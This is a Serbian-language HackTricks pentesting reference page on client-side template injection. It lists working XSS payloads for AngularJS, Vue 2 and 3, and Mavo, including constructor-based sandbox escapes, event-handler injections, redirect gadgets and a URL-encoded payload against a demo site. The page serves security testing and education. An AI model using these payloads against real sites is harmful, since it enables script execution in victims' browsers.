hacktricks/pentesting-web/client-side-template-injection-csti.md

6.8 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Summary

To je kao Server Side Template Injection ali na klijentskoj strani. SSTI vam može omogućiti da izvršite kod na udaljenom serveru, dok bi CSTI mogao omogućiti izvršavanje proizvoljnog JavaScript koda u browseru žrtve.

Testiranje ove ranjivosti je veoma slično kao i u slučaju SSTI, interpreter očekuje šablon i izvršiće ga. Na primer, sa payload-om poput {{ 7-7 }}, ako je aplikacija ranjiva, videćete 0, a ako nije, videćete original: {{ 7-7 }}

AngularJS

AngularJS je široko korišćen JavaScript okvir koji interaguje sa HTML-om putem atributa poznatih kao direktive, od kojih je jedna od značajnijih ng-app. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.

U scenarijima gde korisnički unos dinamički bude ubačen u telo HTML označeno sa ng-app, moguće je izvršiti proizvoljan JavaScript kod. To se može postići iskorišćavanjem sintakse AngularJS-a unutar unosa. U nastavku su primeri koji pokazuju kako se može izvršiti JavaScript kod:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Možete pronaći vrlo osnovni online primer ranjivosti u AngularJS na http://jsfiddle.net/2zs2yv7o/ i na Burp Suite Academy

{% hint style="danger" %} Angular 1.6 je uklonio pesak tako da od ove verzije payload poput {{constructor.constructor('alert(1)')()}} ili <input ng-focus=$event.view.alert('XSS')> treba da funkcioniše. {% endhint %}

VueJS

Možete pronaći ranjivu Vue implementaciju na https://vue-client-side-template-injection-example.azu.now.sh/
Radni payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

I izvorni kod ranjivog primera možete pronaći ovde: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

V3

Jedan zaista dobar post o CSTI u VUE-u može se pronaći na https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

{{_openBlock.constructor('alert(1)')()}}

Zasluga: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Zasluga: Mario Heiderich

Proverite više VUE payloada na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Više payloada na https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Lista za otkrivanje Brute-Force napada

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: